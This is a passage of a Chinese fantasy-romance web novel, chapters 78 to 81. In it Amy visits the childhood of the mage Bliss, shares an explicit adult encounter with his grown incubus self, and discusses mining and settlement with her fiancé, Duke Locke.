她垂头丧气地扑到了沙发上,准备养精蓄锐,先睡个觉再说。 第78章 第78章长发公主就是这么和王子…… 艾米刚一睁眼,就看布利斯眨都不眨地趴在沙发跟前盯着她看,手指还戳上了自己的脸。 “你居然能睡这么久。”他的表情没有嫌弃,只是一种类似陈述现实的语气:“我原本以为你是某种幽灵或魂魄,但现在看来,好像不是。” 艾米的头脑还没完全清醒,含含糊糊不耐烦地说:“把你的手从我的脸上拿走。” 布利斯收回了手指,他本来用的力气也并不大,对于艾米来说就跟小猫挠手心似的。 “我还从未在书上读过你这种魔法生物的存在。” 艾米又阖上了眼睛,懒散地回应:“那你读过的魔法书籍太少了。” “也许吧。”布利斯没有反驳,艾米听到他奶里奶气的嗓音说出这么正经的话总忍不住想笑。 “我现在有点相信你说你会很多高级魔法的事情了,你是用了什么魔法才让自己在其他人面前隐身,却只让我一个人看到的?”他问。 艾米回答不了这个问题。她保持着躺着的姿势,掀开眼皮斜觑了他一眼:“你真的想知道?” 布利斯立刻摇头:“不,我不想知道。” 他意识到昨晚那个‘不能说出心愿’的小游戏仍然存在,所以很谨慎不让自己犯规。 但他说完后没有走,仍然趴在沙发上看着她。 艾米被盯得发毛。 “你没有别的事情要做吗?”她问。 布利斯一本正经地回答:“我是个小孩,玩就是我唯一要做的事情。” 艾米手肘撑着身体坐了起来,她感觉自己的肩膀和后背都酸痛得要死:“我像你这么大的时候每天都在读书。” “你说的那些在你醒来之前我都做完了。”他以为艾米要走,略显慌张地拉住她。 艾米微怔,低头看向软乎乎的小手。“你想让我留下来?” 布利斯很为难。这确实是他的想法,但他也并不想输掉这个游戏。 于是纠结片刻,小男孩恋恋不舍地松开了艾米的手,硬着头皮摇头:“不,不是。” 艾米却反客为主重新牵住他,用肯定的语气说:“你还想让我陪着你。” 即使是成年版的布利斯也并不难懂,更何况现在的他只是一个睡觉时要抱着长垂耳兔玩偶的小孩子而已。艾米一边耐心地等着他点头,一边开出自己的价码。 “我只是需要完成一个你的心愿这只是我释放魔法必要的一个环节。”她决心将一切不好解释的原因都推给魔法,反正近百年失传的魔法这么多,有什么稀奇古怪的材料和仪式需求都不为怪:“但如果你无法帮助我的话,我就只好去找别人。” “归根结底的话,你也没有什么损失吧?如果你承认,你希望我留下来,希望我陪着你,那么我就会这么做。” 她恍惚间回忆起在布利斯的梦里,自己也是这么说的。 什么‘我只会嫁给爱我的人,你如果爱我,我就会嫁给你’这种鬼话。 但既然成年后的布利斯吃这套,没道理面前这个缩小版的他会拒绝。 果然,布利斯动摇了。 他最开始和她对着来,就是因为不想让她离开。 “你去过外面的集市吗?”艾米话锋一转,忽然问道。 不等布利斯回答,她先一步得出结论:“看来是没有。” “你想出去玩吗?外面也很好玩,很多人,很热闹。和你母亲宴会的这种热闹不同,是小孩子也会喜欢的热闹。”艾米边说边观察他的表情。 布利斯很不满她一而再再而三地强调他只是个小孩子这件事,但外面的集市对他来说确实有极大的诱惑。 艾米紧紧盯着他的眼睛,连珠炮似的说:“我可以带你出去玩,怎么样?” “这是你的心愿吗?有人陪着你,去外面开开心心地玩一晚上。”艾米卑劣地含糊掉了后面用来限定时间的词语,她的脑子伴随着倦意的消散而逐渐活络,诱骗小孩也更加得心应手。 布利斯感觉这个承诺诱人极了。 就在这时,门外忽然有女仆敲门。推着餐车进来后,她略带疑惑地看向站在沙发前一言不发的小少爷,恭敬地说:“这是您要的糕点和茶水。” 布利斯微微颌首,没有说话。 家里的仆人都习惯了小少爷寡言冷淡的性格。“我会稍后再来为您收拾餐盘。”女仆说完便退下了。 “是为我准备的吗?”艾米再次像在自己家中一样自在轻松地掀开银质的餐盘,看到盘子里的南瓜挞和奶油小蛋糕,上面还有几颗新鲜的树莓果。 “怎么样?”她端起可爱的纸托,站在桌前咬了一口挞底酥皮,问道:“你想和我出去玩吗?” 布利斯轻轻点了点头。 “那么,这是你的心愿吗?”艾米又问。 他又点了点头,带着小心翼翼的意味。 艾米啊呜一口将剩下的南瓜挞塞进口中,说话含糊不清。 “等到太阳落山,奥利维亚夫人今晚的宴会开始之后,我就来接你出去。” “到时候记得给我留门。” 布利斯第一次收到这种邀请,他只会用反驳来掩盖混合着期待的紧张:“你连开门的法术都不会么?” “是啊,我不会怎么开门。”女人的眼角弯弯,瞳仁因为笑容而亮晶晶的:“但是我会能让你变得开心的魔法。” 她用架子上的湿毛巾擦了擦手,走过来,俯身认真地握住布利斯的手,上下轻晃,就像成年人之间做出约定一样正式。 “今晚见。” 包裹住他的手柔软温热还带着潮气。 真的有这种魔法吗?布利斯觉得这只是面前这个奇怪女人的玩笑话。 但很神奇,在约定达成的这刻,他就已经开始感受到了开心- 布利斯趴在窗台,看到各式各样的马车驶进门口的道路,名流显贵们踩着木质脚蹬从华丽的篷车中钻出来,依次迈进了公馆的大门。 太阳已经落山了,宴会也即将开始了,但那个女人还是没来。 布利斯支起耳朵专注地听着门外的动静,除了仆从走过的声音,并没有其他特殊的动静。 他有点担心。 不是担心自己被戏耍了,而是担心她被其他事情绊住了。 比如他的母亲。布利斯还记得,即使看不到她,但母亲仍然在走廊抓住了她,轻松地就像捏住一只兔子,而那个女人甚至连开门的法术都不会,完全没可能从母亲的手中逃脱。 他就这么忐忑不安地一直等着,直到窗台外出现宾客和马车都变得稀少,才终于听到约定好的敲门声。 艾米站在门口,轻松地说:“好了,我们准备走吧。” 布利斯问:“我们要怎么走?” 艾米很理所应当地问:“你不是魔法师吗?这对你来说应该很轻松吧,隐身法术之类的,你不会吗?”她总觉得布利斯无所不能,这种简单的小把戏自然也没什么难度。 黑发小男孩一言不发,下垂的眼角看上去既委屈又生气。 艾米惊讶:“你不会?”她只是想再确认一次,但这语气再次伤了小布利斯的心。 “这种法术就连母亲也不会。”他抬起尖尖的下巴,硬邦邦地说。 关奥利维亚夫人夫人什么事?艾米觉得奇怪。她缺少和小孩子打交道的经验,因此没有理解这句莫名其妙的攀比背后的情 绪。 但既然布利斯没办法像自己一样大摇大摆地从门口出去,就只能考虑其他办法。她环顾房间,目光落在窗台上。 这是三楼,从窗户爬下去并不难。 艾米一把抱起布利斯,小男孩在离地的瞬间脸涨得通红:“放我下来!” “安静点。”艾米手臂制住他挣扎的大腿:“我带你从窗户逃出去。你听过长发公主的故事吗?女巫把公主藏在高塔之上,最后公主是靠自己长长的头发和王子约会的。” “我先给你找点头发。” 艾米在卧室里翻出一条薄薄的毯子系在布利斯的腰上。“要从这里爬下去,你害怕吗,公主?” 第79章 第79章他们会再次相遇。 布利斯没有听过长发公主的故事,他只看过龙和公主的故事。 在旧神尚未销声匿迹的时代,寒霜森林里还有龙的踪迹,在民间的传说里,龙喜欢掠夺一切美丽漂亮的珍宝,其中就包括公主。它们会用冰冷坚硬的爪子勾起公主的腰,从高塔上盘旋呼啸而过。 大约是因为这层联想,明明可以用法术短暂绑定两个人的手腕,布利斯却选择任凭对方紧紧托着他,然后听着女人絮絮叨叨说什么‘抱紧自己不要松手’之类的话。 龙的爪子也会是柔软温热的吗? 他胡思乱想着,甚至冲淡了第一次逛集市的兴奋,对他来说,‘出逃’这件事比‘未知的世界’更具有吸引力,庄园之外的人并没有变得更有趣,即使这是艾米花了一个下午特意挑选的目的地。 这是条兜售魔法用品的小巷,只在太阳落山后才营业,可想而知售卖的东西也大多是不正经的,但只有在这种地方,孤身出现的小男孩才不显得奇怪,因为没人知道这是不是某个法术失败附带的后遗症,而所有人都知道,魔法师大多古怪。 怕被别人听到,艾米和他说话时会躬身靠近他的耳边低语,然后从小少爷的表情上判断他的意见。 “你看了这本书好几次了,你很喜欢吗?”她轻声问,就像一个会给弟弟妹妹塞零花钱的姐姐:“我在你口袋里放了金币,你可以去买下来。” 其实她也可以直接偷走,只要把书塞到她的外套里面,然后大摇大摆地走出去就行,但为了让布利斯第一次出来玩的体验更好,艾米还是建议他自己去柜台买下这本书。 布利斯一言不发,踮脚将书放回原位。 “你想要看更上面的吗?是不是够不到?你想要那本?”艾米又问。 布利斯的视线落到书架的右上方,那是一本全是召唤阵的魔法书,不知道转过几手,书脊背都已经濒临散架。 艾米小心翼翼地取下来递给他,然后看到他快速地翻动书页,找到关于召唤守护神的部分。 “这是真的吗?真的有守护神这种东西?”艾米有点好奇。 布利斯看了两眼,说了进入这家店后的第一句话。 “假的。”他合上书页,交还给艾米,然后示意她取下旁边那本契约咒语的书。 这次他没再这么快就下判断。 “你想买这本吗?”艾米站在他旁边,就像一个催促顾客下单的导购。 布利斯浅浅嗯了一声,他将这本厚重的魔法书费劲地拍上柜台,发出砰的一声。 “三十五枚金币。” 艾米听到价格倒吸一口冷气,因为她浑身上下也只有十五枚金币,即使全部花掉也买不起这本书。 但很快,她发现她多虑了,布利斯拿出了足够的金币,没动用她给他的那个钱袋。 两个人就这么沿着这条街,一家家店地逛到了尽头。小少爷的话很少,大多数都是艾米在问,她也是第一次逛魔法店,新鲜感不比布利斯小,只是在知道了魔法用品普遍昂贵的价格后,再也不装大款说什么尽管买我有钱这种话了。 从巷口走出来是内河沿岸,月色洒在水面泛起粼粼波光,艾米借着这莹白的一点亮打量布利斯的小脸,他面无波澜,看不出任何开心的痕迹。 同样的,她也没收到任何关于“心愿已达成”的提醒。 “今晚怎么样——” “你的仪式——” 两人同时张口。 “还没有。” “很有趣。” 两个人又同时回复。 布利斯不再说话,只用眼神示意艾米先说。 “似乎没有完成。”她很苦恼的样子:“也许是因为我还没把你送回去?要有头有尾才行?”说到后面,她好像自己都被说服了。 “嗯,是有这个可能。”布利斯说话依旧很简略,他伸出手轻轻勾住艾米的尾指:“我们回家吧。” 声音也软软的,模糊缥缈,带着说不上来的依恋- 两人顺着原路返回,因为宴会已经散场,所以运气好不用翻窗。 在上楼梯的时候布利斯撞见了女仆,他镇定自若地要了一杯牛奶,然后自然而然地回到了房间里,就像一次惯常的起夜。 艾米跟在后面挤进了屋,然后满怀期待地等了三秒。 “失败了吗?”布利斯从她的表情上已经知道了答案。 艾米卸了力气,往沙发上一歪,开始生无可恋地盘算着重启剧情的可能性。 布利斯抱着长垂耳兔玩偶盘腿坐在她面前的地毯上,认真张口说道:“仪式的具体要求是什么?很多复杂的魔法,在释放过程中有任何细节的偏差都可能造成失败。” 虽然觉得和面前这个晚上睡觉还要抱着玩偶的小男孩讨论这么严肃的话题很奇怪,但艾米也顾不上更多了,毕竟他是未来的大魔导师,天才从小就很敏锐,也许他真能帮自己想出办法呢? 于是她隐去具体的前因后果,详细讲了‘仪式’的要求。 “虽然不同魔法的释放要求不同,但是如果是同一类型,可能会有相似之处。”布利斯安静问:“所以,这个仪式的目的是什么?” 艾米想了一下,回复:“能够结束我现在的状态。” “你的意思是,结束现在这种,其他人都看不到你,只有我能看到你的状态。” “是。” “而仪式的具体内容,是实现我的一个心愿。” “对。” 艾米应声说完,看到布利斯忽然垂下长长的眼睫,手指揪着玩偶的耳朵,半响没有说话。 过了一会,就在艾米都快要失去耐心的时候,他抬起头,漆黑的眼眸直直地看向她,表情凝重。 “你是我的幻想朋友。” “其他人都看不到你,只有我能看到你,而你存在的目的,只是为了实现一个我的心愿。” 说完,他又重复了一遍,像是自我肯定:“所以,你是我的幻想朋友。” 艾米直接懵了。 她没想到布利斯思考半天得出的是这个结论。 更糟糕的是,她甚至觉得他说的很有道理,一时间找不到反驳的借口。 “不对,明明奥利维亚夫人也见过我!”艾米忽然想起这 件事,连忙说。 布利斯很冷静:“这也可能是我幻想中的情景。最起码在我喊住她之后,母亲就再也没有表现出任何对你的关注,后面你和她错身经过时也一样。” 看着面前的女人脸上挂着的难以置信的表情,他继续说:“所以你才会总是执着要实现我的心愿,因为你是我幻想出来的、可以陪在我身边的朋友。你没有结束这个状态,是因为我真正的心愿一直没有实现。” “我暂时还不想你消失,我想要你继续陪着我。” 布利斯开始郑重地打量面前的女人。 幻想朋友的概念是他上第一节魔法课时知道的。这是所有过早觉醒魔法天赋的孩子都需要了解的知识,来辨别哪些是真实的,哪些是虚假的。 他早就该想到的。世界上没有仅对一个人可见的隐身魔法,所以答案就只有一个,也就是自己面前坐着的女人是不存在的。 从来没有龙从高塔上带走公主,有的只有公主自己脑子出现了问题。 布利斯的心情有些低落,他想去睡觉了。 沙发上坐着的女人心情也并不好,她很沮丧,就像自己此刻心情的外显。 “等等,我有办法证明我不是你的幻想。” 女人喊住了他,她的脸上再度变得神采奕奕,就像刚才带着他从窗外出逃时一样挑了挑眉,眼睛闪闪发亮。 “我可以向你展示你不知道的魔法。幻想朋友可做不到这一点,是吧?” 布利斯直到十九年后才研究出来的烟花,用来哄现在的他开心,似乎刚刚好。 门外响起了敲门声,是女仆送来热牛奶。 “把她留下,让她一起来见证这不是你的幻想。” 艾米推开窗户,夜晚的凉风涌进屋子。 于是女仆一进来,就看到站在窗边一言不发望着天空的小少爷。 “布利斯少爷!”她急忙放下手中的东西:“晚上开窗您会冻着的——” 金色的滋啦作响的小蛇从窗台飞了出去。 “这么晚了,您还在练习魔法呀。”女仆语气轻快,停下脚步。 话音未落,小蛇在盘旋中体积变大,又快又急地向夜空中冲去。 砰,砰,砰,砰,砰。 金色的光点在空中炸开,绚丽夺目。 布利斯听到整个公馆都响起了脚步声,所有还醒着的,或者被惊醒的人都在仰头看着这片天空。 隐没在云雾中炸开的金色碎片在一刹那变成了小簇的五颜六色的捧花,填满漆黑的夜。 艾米坐在窗台上,腿搭在窗外,同样在欣赏眼前这一幕。 烟花还是在夜空中更动人心魄。 “天呐——小少爷,这是您最新学会的法术吗?”女仆已经完全被吸引了注意力,眼睛连眨都不舍得眨一下。 察觉到布利斯的视线,艾米露出了得意的笑,因为有其他人在,所以她没有说话。 小少爷抬手,下一秒,刚才在站在窗台边的女仆绵软地倒在了地毯上,晕了过去。 布利斯深吸一口气,紧紧盯着她的眼睛,就像盯着某种飘渺不定,很快就会燃尽消失的火光。 “我的心愿是让你留下来,永远陪着我,就像现在一样,是只有我才能看到的朋友。” 艾米无奈地苦笑:“小少爷,就算你想用这种办法留下我,也是不可能的。我早晚都会消失,无论有没有实现你的愿望。” 大概是觉得这样的话对这样小的孩子来说太过残忍,她还是软了嗓音宽慰对方:“但我向你保证,我们以后还会相遇的。” 炸响逐渐减弱,刚才还层层叠叠布满天际的彩色烟花化为光点,像被浓夜吞噬殆尽。 金色的小蛇又滋滋啦啦地从窗户飘进来,首尾相衔,只不过这次里面没有夹着项链,而是在落入手心之前就没了踪迹。 布利斯仍然紧紧地盯着艾米,烟花消失,映在她眼睛中的光亮却好像永远不灭。 “那我的心愿是,我希望能在下一次见面之前,就提前认出你。” 窗边的女人露出了浅浅的惊诧,她甚至还没来得及说点什么,立刻就消失了。 女仆撑着身体从地毯上爬了起来,她看了看布利斯,又看了看没关的窗户,似乎完全忘记了刚才发生了什么。 “少爷,晚上开窗您会冻着的。”她走到窗台边,重复刚才未完成的动作。 布利斯看到街道上那些刚才走出来仰头看向夜空的人又茫然地返回,像一出荒诞的默剧,或是某种摄魂控制咒语释放后的结果。 由此可见,她确实是个很厉害的魔法师。布利斯想,然后忽然发现他已经记不住这位神秘的魔法师的长相了。 口袋里没有多出来的金币,背包里也没有今晚出去买的契约魔法书。 她就像烟花一样在绽放后不见了。 但是他们会再相遇的。 而下一次,他会在见面之前,就认出她来。 第80章 第80章可以吗,让我吃一点。 敲门声一声比一声急促。 艾米还没从刚才隐隐的眩晕中缓过劲,拧着眉头起身去开了门。 门外站着的正是她几分钟前才见过的人——不过是大号成人版。 “布利斯?” 黑发青年的脸色看起来并不好,在看到艾米的下一秒就伸出手朝她的领口探去。 “别在这里——” 艾米完全误解了他的意思,脸红着把他拽进了屋。 一闪而过的念头,幸好洛克公爵没住在自己的领主府,不然被他撞见这种事情真的会很尴尬。 布利斯还没来得及张口,就踉跄着进了她的卧室。 比起书房,这种地方的香味更为浓郁,一路赶来的焦急和烦躁在被她揪住袖口的瞬间就被击溃了,变成了绞着胃的饥饿和索取的欲望。 “怎么了?你怎么来了?出什么事了吗?” 仅仅是简单的嘘寒问暖落在他的耳边都变了味,他的脑袋乱糟糟的,观察力却敏锐地惊人,即使不用魅魔的小手段,面前的女孩在靠近自己胸口的时候也会耳垂泛红。 “还是说,你饿了?”她咬着唇问。 艾米想了半天,似乎只有这个理由能解释他忽然焦躁地从百里之外的寒霜森林出现在自己面前。 自从离开王城之后,两人甚至连最简单的吻都没有过,上次做客,他也并没有提出任何进食的要求,自始至终都保持着合理的距离,即使艾米已经做好了准备,布利斯仍然表现得就像一位应邀而来的客人一样得体自然。 就好像他面对的不是自己的结契对象,而是一个普通的朋友。 想到这里,她好奇问:“魅魔也有发情期吗?” 布利斯从一开始就看出来了她的误会,但他暂时还不想解释。 他现在饿得想吞下一切。 “嗯。” 男人垂下了长长的眼睫,盖住自己的情绪,艾米现在能够清醒地直视他的眼睛,布利斯不想自己的欲望吓到她。 细长的尾巴讨好似的伸到了女孩的手边,一颤一颤地轻轻触碰柔软的掌心,示意她将注意力分给它。 “可以吗,让我吃一点。” 布利斯压低了声音,他还记得艾米喜欢自己这样在她的耳边说话,每次只要自己用这种声音讨要更多蜜露,她就无法拒绝。 在无数个饥饿的夜晚,布利斯将这些细节反复回忆,来填补可怜的空虚的胃,他的手掌覆在女孩的腰侧,隔着衣物轻轻掐着她敏感的软肉,然后如愿以偿地在对方的脸上看到了情动的痕迹。 “我想去床上。”她用几乎是气音小声说。 布利斯将她拦腰抱起,并顺手在房门布下屏障。 在吃饱之前,他不想有任何人来打扰 布利斯保持着吃素的饮食习惯。 这并不是在性成熟后才做的改变,从很小的时候,他就会因为肉的膻腥味而呕吐。 不过素食吃久了,他的味蕾进一步变得更加敏感。 青菜的纤维感中常常混着涩味的清香,而仔细品尝的话,菜叶和菜茎是完全不同的口感,叶片沁出的汁水生涩,留在舌尖带来微微刺麻的感觉,而茎部则甘甜脆口,恰好能卷走刚才的涩口,留下纤维独特的香气。 水果也是他菜单上的常客,现在正是吃莓果的季节,这种酸甜口的果子只需要轻轻咬上一口,鲜嫩无助的果肉就会在唇齿间破碎,挤出清新爽口的丰盈汁水,当然,树莓和草莓略有不同,树莓带着点颗粒感,但实际上果肉更软,而草莓则在细腻中带着柔韧。这两种水果他都很喜欢吃,除此之外,还喜欢小巧圆润的 蓝莓,咬开外皮,就会像小水球在他的口腔中爆开,吐出一汪酸甜的水。 而布利斯最喜欢的食物,是蘑菇。 这是他菜单上口感最接近肉的一种食物,滑嫩、又具有韧性,在煮汤时散发浓郁醇厚的香气,盖住锅里其他所有的食材,将汤水尽数染成蘑菇的味道。 汁水灌进他的喉咙,但布利斯却仍然觉得不够。他松开口中的食物,阻止了艾米想要摘下项链的动作,声音轻柔却强势地说,不用魅魔的手段我也会让你更爽的,抓紧我的头发,记住我的样子,好吗? 艾米因此看得更清楚,他的鼻梁和唇角沾着水渍,以及像是刚从湖水从出来一样湿漉漉的眼睛。 大脑一阵眩晕。 布利斯说得没错,不用任何辅助,他也能做得很好。 纤细的尾巴滑过她胸口的肌肤,顶端的桃心轻轻蹭着她的脸颊,艾米试过它的手感,又软又Q弹,就是不知道尝起来是什么样。 她伸出舌头舔了一下。 然后忽然被重重地捣。弄。 “停下——” 她颤抖着揪住手心的头发,因为巨大的冲击难以抑制地叫出声,却在听到自己的声音后吓得死死咬紧牙关低声啜泣。 布利斯真的停下了。 他的衣领散开着,黑色的短发尽数拢在脑后,露出性感的喉结随着他的喘。息而滚动。 “叫出来,没人会听见的。”他说着,眼睛一眨也不眨地观察着艾米脸上的变化,看到她在自己停下动作后脸上一闪而过的失落和难耐,得意地笑:“放松点,还记得我说过的吗?” “别担心,我会处理干净的,每一次。” 他的手指猝不及防地用力碾过,艾米刚想张口,尾巴的桃心就狠狠地塞进了她的口中,堵得她说不出话来,只能无助地流下涎液。 溺水的感觉如约来至。 她恍惚间觉得自己像是一枚被置于杵臼中的草莓,在石杵的捣弄下烂成一滩果泥,和汁水一起四溅 艾米最后一次有印象是听到了鸟啼。 “天好像亮了”她努力想朝窗外望去,却只看到浓郁的黑。 男人的吻细细密密落下,含糊不清的喟叹:“你听错了,还早。” 是吗? 破碎的理智来不及进行更多思考,她在颠簸中用力环住布利斯的脖子,攀上他的背,找到让自己更舒服的姿势。 “再摸摸我的契纹好不好?” 布利斯拉过她的手,又放在自己小腹的位置,那一块皮肤有些发烫,并随着不停的动作,温度一直炙热。 “这里好久没有这么暖和了。”嗓音压抑且低沉:“我真的很想念你。” 高挺的鼻尖埋在怀里女孩的颈窝,他的声音很轻,动作却很快,像在有意遮掩接下来要说的话。 “为什么你不能永远在我身边呢?我真想把其他所有人看向你的眼睛挖掉,让你只属于我一个人。” 他轻轻吻过女孩眼角的生理性泪水,在那块潮湿的皮肤上反复舔舐,直到将她的脸颊涂满他的味道。 “但我更怕你消失。” 他箍着她腰肢的手指不自觉地用力,修长的骨节掐到皮肤发白,在隐忍的闷哼声中,又撞出新的泪水和不成句的破碎的呻。吟。 “别从我的世界里消失,求求你了。” 他重新吸吮她薄薄的眼皮,舔干净沁出的泪水,却感觉饥饿好像永远也无法缓解 天呐。 艾米想起自己还约了公爵大人今天去河边散步,作为未婚夫妻培养感情必要的约会。 而她居然一觉睡到了晚饭时间! 看着窗外的晚霞,艾米满脑子都是完了。 未婚夫刚说好要投资自己一笔钱开采煤矿呢!她可不要这时候被退婚啊! “醒了?” 布利斯从卫生间推门出来,他恢复了一贯的冷意,却在看到艾米垂着腿坐在床边时,走过来单膝跪在地毯上为她穿袜子。 艾米气不过抬腿踢他,然后被他牢牢按住,宽厚的手掌紧紧包裹住她的脚。 “昨天我还有哪里做得不好吗?”他面无表情地说着令人羞赧的细节:“你流了好多液体,我因此吃得很饱。” “别装傻。你知道我说的不是这个!”艾米用另外一只脚踩在他的手臂上:“我今天还有事的!” 布利斯小臂肌肉不自觉绷紧:“如果你说的是你和未婚夫的约定,那么你不用担心。他会原谅未婚妻因为突然染上的风寒而不得不推迟今天的约会。” 他边说边将棉袜仔细套上她的脚,细致耐心。 “你身上的气味我也为你处理好了,包括你的卧室,你不用担心你的狼崽子会发现你喷了这么多水,也不会闻到我舔遍你全身留下的味道,至于你的学士,他是人类,应当没有这么灵的鼻子吧?” 他说得慢条斯理,眼皮连抬都不抬,艾米却越听越觉得不好意思。 “好了。”他松开手站起身:“要为你叫晚饭吗?” 艾米连忙摆手:“不了不了,我还是自己去餐厅吧。” 她不想让布利斯去厨房帮她叫晚餐,这种工作一般是雷尔夫在做,领主府的所有人都知道他是自己的侍从,但布利斯是客人,哪有让客人做这种事情的! 艾米踩着地毯下床,忽然想起问到:“对了,你不是在寒霜森林吗?为什么会突然回来?” 布利斯因为她摆手拒绝了自己的搀扶,眼底一闪而过焦躁。 “因为我感受到你突然消失了。” “消失?” “是,直到你开门之前。” 艾米意识到这是因为自己使用了回溯的药剂。 她在十九年前待了接近三十个小时,而差不多在现实生活中消失了三小时左右。 布利斯看着她沉吟的脸色,问道:“你做了什么?是类似之前和那个神官交换身体的那种奇怪的魔法吗?” 艾米不知如何解释,只好顺势点头。“是。而且之后可能还会有类似的情况出现。” 布利斯淡淡地回应:“我知道了。”表现得就好像对此事毫不在意一样。 他递过来一只小巧的银黑色丝绒口袋:“帮你做好分类了,还加了一些新的你可能会用上的魔法卷轴。” 艾米才想起之前自己似乎和他抱怨过找卷轴用起来不方便的事,没想到他这么快就做了调整。 她接过来,但没有查看内容,只是随手丢在旁边的床上。 布利斯什么都没说,只是微微皱眉,刚才未散的焦躁继续在眼底积聚,眉眼间尽是挥之不去的沉郁。 紧接着艾米上前一步主动环住他的脖子,踮起脚尖轻轻吻了吻他的唇角。 “谢谢你。” 黑发青年神情微愣,眉眼间不明显的焦躁忽然就散开了,湖绿色的眸子呈现出一种可爱的懵懂。 艾米笑了笑,没有收回手,又轻巧地啄了一下:“我昨晚很开心,还有,我也会想你。” 没有人会不喜欢被所爱的人回应。 她应该更慷慨一些。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 80-90 第81章 第81章我迫不及待想成为你的合…… 艾米老老实实躺了两天,连门都没出,然后在第三天的午后,应邀去未婚夫的庄园做客。 考虑到她“病后初愈”的身体,公爵大人主动提出将户外散步改为室内的下午茶。 跟随男仆穿过大块青金石构建成穹顶的长廊,脚下的毛毯即使穿着鞋子也能感受到与众不同的柔软,艾米打量着窗框上的血红色宝石,猜测它们的价格,并透过窗户看到紫藤色花瀑缠绕的花园栏杆。 无论是黑檀木大门、还是珐琅座钟,这里出现的每一件物品看起来都超乎想象地昂贵。 她走进茶室,看到用孔雀石装饰的矮几上铺着深绿色的天鹅绒布,三层点心架在魔法的驱动下轻轻旋转,顶层的巧克力熔汁像瀑布一样洒下。 而坐在胡桃木扶手椅上的男人有着和融化的巧克力一样醇厚的气质。 合身的深灰色西裤,深色带暗纹的衬衫,垂直挺拔的线条,汇于他紧绷的大腿处。 那部分肌肉看起来很硬。艾米没头没脑的想。 大概是在家中的原因,公爵大人的领口开了一颗纽扣,和上次见面比起来,多了一分随性,但那些戒指还在,有几根指骨上的可能换了款式,但也可能没有,它们太多了,艾米实在记不住。 他对于宝石饰品的喜爱也体现在他送出的礼物上,就连送给未婚妻的丝绒手套上都嵌了品质极佳的宝石,还镶嵌了一圈小小的金丝纹环,艾米有理由相信,哈卡兹家族的人说不定有些龙裔血脉。 总之,为了 表示尊敬,艾米今天也将自己挂满了这些精致漂亮的小玩意,果不其然,洛克对此很满意。 在留意到未婚妻仍然不适应将这些昂贵且脆弱的美丽宝石戴在身上时,他出言宽慰:“在珠宝项链中,主石的品质决定了项链的价值。” “艾米小姐,你就是最顶级的主石,因此其他的配石再名贵也不为过。” 没人会不喜欢漂亮话,艾米弯了弯眼睛,投桃报李地夸赞起公爵大人湛蓝色的眼睛比名贵的珠宝还要美丽。 两人的话题顺着他前几天借走的那本书聊开。 那是本介绍常见魔兽的书,并不算罕见,是很多小姐少爷们的童年读物,但洛克的关注点明显并不在此,他翻开书页,将艾米留在其中的信笺取出,对上面的内容展现出有礼节的好奇。 艾米在看到那张纸后才想起来那是什么。 北境的冬天十分难捱,用动物毛皮制作斗篷和外衣是常见的做法。但狩猎是极考验技术和耐心的事情,很多时候,还需要一些运气,就算是猎人,一年到头也未必能打出几件合适做衣服的猎物。因此艾米在读这本书时,萌发了银狼养殖的想法。 但后来,她在一次进山时偶然发现了被山林猎人称之为树羊毛的东西,这种白色的纤维植物正是她见过的棉花。于是艾米将这种植物带了出来,吩咐领地上的子民种植,很多人不耐烦种植这种无法食用的东西,是她提前预付了收购成熟作物的金币,才在几家农户中推广开来。 种棉花还是比养银狼安全且方便得多。 因此,这张信笺便被遗忘在这本书中。 公爵大人听完了整个故事,温言笑道:“艾米小姐,你有很多有趣的念头,我很高兴能成为你的未婚夫,否则,我会嫉妒其他男人欣赏你的聪慧。” 他的夸赞总是这么直白。 但好感度却总是一成不变。 艾米必须常常看一眼数字,来确保自己不会因为他的恭维而上头。 不得不说,和洛克聊天很愉快,尤其是在他的家中——不会因为听到他对廉价茶具的点评而扫兴。他虽然没有亚兰渊博的学识,但是他很会在聊天时抛出恰到好处的诱饵,来引导你继续就这这个话题表达看法。所有人都想在倾听者期待且好奇的目光中侃侃而谈,做大演讲家,这是人性的一部分,因此艾米很快意识到,聊天的节奏正全然被他掌控着。 如果不是她时刻保持着警惕,恐怕会不知不觉陷入这场过于慰贴和愉快的谈话中。 “公爵大人,我很好奇矿工协会的事情,能和我讲讲吗?”艾米有些生硬地将话题仓促引开:“你知道的,你刚投了一大笔钱,我希望您的金币能花在正确的地方。” 男人的笑意仍然噙在嘴角,英俊的眉骨舒展且温柔:“当然。你想知道什么?” “打矿洞、排水、运输以及矿工们从哪里来,我什么都想知道。”艾米说。 “这可是个庞大的话题。”洛克注视着自己的未婚妻,不易察觉的审视在眼底一闪而过。 他轻笑着起身,语气中带着宽厚的纵容:“可能要聊很久,要不要去庭院走走?” 艾米抬头看他,轻轻地眨了眨眼睛,然后才慢吞吞地手掌放在他伸出的手心上,点头应允。 无论是做倾听者还是讲述者,他似乎都能轻而易举地将节奏掌控在自己手里。 不仅如此,他似乎十分享受这种掌控- 公爵大人花了一整个下午的时间,向她介绍开采一个新矿之前要做的准备,包括筹备物资和修建矿工宿舍这种细节,令艾米惊讶的是,他甚至知道要如何划分不同的小组进行作业。 “是我考虑不周,你需要的不仅是钱,更重要的事经验丰富的矿场长。” 他主动提出从布佛里托矿工协会中找人来帮她。 至于第一批矿工,“托利亚现在的人口,似乎还有点匮乏。当然,最重要的是,你需要商会帮你销售,需要港口和货船为你运输。” 艾米边听边记,脑中按照优先级一条条梳理。 她也主动将想在丰收节庆典时吸引周围领地人来定居的事情和洛克说了。 “这可不是个好主意。你是觉得其他领主愿意眼睁睁看着自己的金币流进你的口袋中吗?青壮年劳动力无论在哪里都是领主财富的一部分,你这种行为等同于直接从他们的口袋里掏钱,小姐。” “可泥巴湾”艾米忍不住说。 男人打断她的话:“哈尔那种蠢货,应当在北境也是罕见的。”他自上而下地注视着艾米,似笑非笑,“那么,你要从蠢货身上学习如何治理自己的领地吗?” 艾米立刻摇头。 “很好。所以你需要往城市和港口散播你的消息,以及经历过兽潮的村庄、暴雪后死伤大半只剩下老弱妇孺的农田,等到他们的领主从这些没希望的人身上再榨一遍,就能轮得到你了。” “别皱眉,小姑娘。”他用了个亲昵的词,拉近了二人之间的距离:“如果你想要更好的,你现在的士兵就有点太少了。” 这些事情从来没人对她说过。 克莱恩先生并不会做领主,而艾米也更多是依靠直觉行事。 洛克公爵是第一个和她说这些的人。 艾米停住了脚步,站在紫藤花缠绕的镂空长廊下,仰头露出一小节修长优雅的脖颈:“那么,我该怎么做呢?请教教我吧,大人。” 